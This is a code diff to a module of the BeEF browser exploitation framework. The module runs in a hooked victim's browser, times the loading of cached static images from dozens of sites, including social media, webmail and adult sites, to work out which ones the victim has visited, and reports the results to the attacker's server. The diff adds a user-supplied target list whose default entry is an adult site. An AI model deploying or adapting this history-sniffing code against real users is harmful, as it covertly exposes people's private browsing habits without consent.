diff --git a/modules/browser/get_visited_domains/command.js b/modules/browser/get_visited_domains/command.js index 6ea803395..8b7c71512 100644 --- a/modules/browser/get_visited_domains/command.js +++ b/modules/browser/get_visited_domains/command.js @@ -34,7 +34,6 @@ function timer_interrupt() { } } - if (beef.browser.isFF() == 1) { window.addEventListener('message', timer_interrupt, false); @@ -184,6 +183,15 @@ if (beef.browser.isO() == 1){ var MAX_ATTEMPTS = 1; } +/* Fetch additional targets specified by user */ +var domains = '<%= @domains %>'; +var r = new RegExp(/(\b[^,;]+\b)\s*;\s*([^$,]+)/gm); +var res; + +while ((res = r.exec(domains)) != null) { + targets.push({'name': res[1], 'urls': res[2]}); +} + function sched_call(fn) { exec_next = fn; window.postMessage('123', '*'); @@ -469,59 +477,62 @@ function visipisiCB(vp, endCB, sites, urls, site, result){ } function getVisitedDomains(){ - var tests = { - facebook: 'https://s-static.ak.facebook.com/rsrc.php/v1/yJ/r/vOykDL15P0R.png', - twitter: 'https://twitter.com/images/spinner.gif', - digg: 'http://cdn2.diggstatic.com/img/sprites/global.5b25823e.png', - reddit: 'http://www.redditstatic.com/sprite-reddit.pZL22qP4ous.png', - hn: 'http://ycombinator.com/images/y18.gif', - stumbleupon: 'http://cdn.stumble-upon.com/i/bg/logo_su.png', - wired: 'http://www.wired.com/images/home/wired_logo.gif', - xkcd: 'http://imgs.xkcd.com/s/9be30a7.png', - linkedin: 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png', - slashdot: 'http://a.fsdn.com/sd/logo_w_l.png', - myspace: 'http://cms.myspacecdn.com/cms/x/11/47/title-WhatsHotWhite.jpg', - engadget: 'http://www.blogsmithmedia.com/www.engadget.com/media/engadget_logo.png', - lastfm: 'http://cdn.lst.fm/flatness/anonhome/1/anon-sprite.png', - pandora: 'http://www.pandora.com/img/logo.png', - youtube: 'http://s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif', - yahoo: 'http://l.yimg.com/ao/i/mp/properties/frontpage/01/img/aufrontpage-sprite.s1740.gif', - google: 'https://www.google.com/intl/en_com/images/srpr/logo3w.png', - hotmail: 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.8/~/~/~/~/images/iconmap.png', - cnn: 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif', - bbc: 'http://static.bbc.co.uk/frameworks/barlesque/1.21.2/desktop/3/img/blocks/light.png', - reuters: 'http://www.reuters.com/resources_v2/images/masthead-logo.gif', - wikipedia: 'http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png', - amazon: 'http://g-ecx.images-amazon.com/images/G/01/gno/images/orangeBlue/navPackedSprites-US-22._V183711641_.png', - ebay: 'http://p.ebaystatic.com/aw/pics/au/logos/logoEbay_x45.gif', - newegg: 'http://images10.newegg.com/WebResource/Themes/2005/Nest/neLogo.png', - bestbuy: 'http://images.bestbuy.com/BestBuy_US/en_US/images/global/header/hdr_logo.gif', - walmart: 'http://i2.walmartimages.com/i/header_wide/walmart_logo_214x54.gif', - perfectgirls: 'http://www.perfectgirls.net/img/logoPG_02.jpg', - abebooks: 'http://www.abebooks.com/images/HeaderFooter/siteRevamp/AbeBooks-logo.gif', - msy: 'http://msy.com.au/images/MSYLogo-long.gif', - techbuy: 'http://www.techbuy.com.au/themes/default/images/tblogo.jpg', - borders: 'http://www.borders.com.au/images/ui/logo-site-footer.gif', - mozilla: 'http://www.mozilla.org/images/template/screen/logo_footer.png', - anandtech: 'http://www.anandtech.com/content/images/globals/header_logo.png', - tomshardware: 'http://m.bestofmedia.com/i/tomshardware/v3/logo_th.png', - shopbot: 'http://i.shopbot.com.au/s/i/logo/en_AU/shopbot.gif', - staticice: 'http://staticice.com.au/images/banner.jpg', + var tests = { + facebook: 'https://s-static.ak.facebook.com/rsrc.php/v1/yJ/r/vOykDL15P0R.png', + twitter: 'https://twitter.com/images/spinner.gif', + digg: 'http://cdn2.diggstatic.com/img/sprites/global.5b25823e.png', + reddit: 'http://www.redditstatic.com/sprite-reddit.pZL22qP4ous.png', + hn: 'http://ycombinator.com/images/y18.gif', + stumbleupon: 'http://cdn.stumble-upon.com/i/bg/logo_su.png', + wired: 'http://www.wired.com/images/home/wired_logo.gif', + xkcd: 'http://imgs.xkcd.com/s/9be30a7.png', + linkedin: 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png', + slashdot: 'http://a.fsdn.com/sd/logo_w_l.png', + myspace: 'http://cms.myspacecdn.com/cms/x/11/47/title-WhatsHotWhite.jpg', + engadget: 'http://www.blogsmithmedia.com/www.engadget.com/media/engadget_logo.png', + lastfm: 'http://cdn.lst.fm/flatness/anonhome/1/anon-sprite.png', + pandora: 'http://www.pandora.com/img/logo.png', + youtube: 'http://s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif', + yahoo: 'http://l.yimg.com/ao/i/mp/properties/frontpage/01/img/aufrontpage-sprite.s1740.gif', + google: 'https://www.google.com/intl/en_com/images/srpr/logo3w.png', + hotmail: 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.8/~/~/~/~/images/iconmap.png', + cnn: 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif', + bbc: 'http://static.bbc.co.uk/frameworks/barlesque/1.21.2/desktop/3/img/blocks/light.png', + reuters: 'http://www.reuters.com/resources_v2/images/masthead-logo.gif', + wikipedia: 'http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png', + amazon: 'http://g-ecx.images-amazon.com/images/G/01/gno/images/orangeBlue/navPackedSprites-US-22._V183711641_.png', + ebay: 'http://p.ebaystatic.com/aw/pics/au/logos/logoEbay_x45.gif', + newegg: 'http://images10.newegg.com/WebResource/Themes/2005/Nest/neLogo.png', + bestbuy: 'http://images.bestbuy.com/BestBuy_US/en_US/images/global/header/hdr_logo.gif', + walmart: 'http://i2.walmartimages.com/i/header_wide/walmart_logo_214x54.gif', + perfectgirls: 'http://www.perfectgirls.net/img/logoPG_02.jpg', + abebooks: 'http://www.abebooks.com/images/HeaderFooter/siteRevamp/AbeBooks-logo.gif', + msy: 'http://msy.com.au/images/MSYLogo-long.gif', + techbuy: 'http://www.techbuy.com.au/themes/default/images/tblogo.jpg', + borders: 'http://www.borders.com.au/images/ui/logo-site-footer.gif', + mozilla: 'http://www.mozilla.org/images/template/screen/logo_footer.png', + anandtech: 'http://www.anandtech.com/content/images/globals/header_logo.png', + tomshardware: 'http://m.bestofmedia.com/i/tomshardware/v3/logo_th.png', + shopbot: 'http://i.shopbot.com.au/s/i/logo/en_AU/shopbot.gif', + staticice: 'http://staticice.com.au/images/banner.jpg', }; var sites = []; - for (var k in tests) + for (var k in tests) { sites.push(k); - sites.reverse(); + } + + sites.reverse(); - vp = visipisi.webkit; - var first_site = sites.pop(); - var end = function() { - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results='+prepResult(vp_result)); - } - vp(tests[first_site], function(result) { - visipisiCB(vp, end, sites, tests, first_site, result); - }); + vp = visipisi.webkit; + var first_site = sites.pop(); + var end = function() { + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results='+prepResult(vp_result)); + } + + vp(tests[first_site], function(result) { + visipisiCB(vp, end, sites, tests, first_site, result); + }); } function prepResult(results){ diff --git a/modules/browser/get_visited_domains/module.rb b/modules/browser/get_visited_domains/module.rb index 29b98fe71..0a8cd436a 100644 --- a/modules/browser/get_visited_domains/module.rb +++ b/modules/browser/get_visited_domains/module.rb @@ -6,6 +6,18 @@ class Get_visited_domains < BeEF::Core::Command + def self.options + return [{ + 'name' => 'domains', + 'description' => 'Specify additional resources to fetch during visited domains analysis. Paste to the below field full URLs leading to CSS, image, JS or other *static* resources hosted on desired page. Separate domain names with url by using semicolon (;). Next domains separate by comma (,).', + 'type' => 'textarea', + 'ui_label' => 'Specify custom page to check', + 'value' => 'Redtube ; http://images.cdn.redtube.com/_thumbs/v2009/favicon.ico,', + 'width' => '400px', + 'height' => '200px' + }] + end + def post_execute content = {} content['results'] = @datastore['results']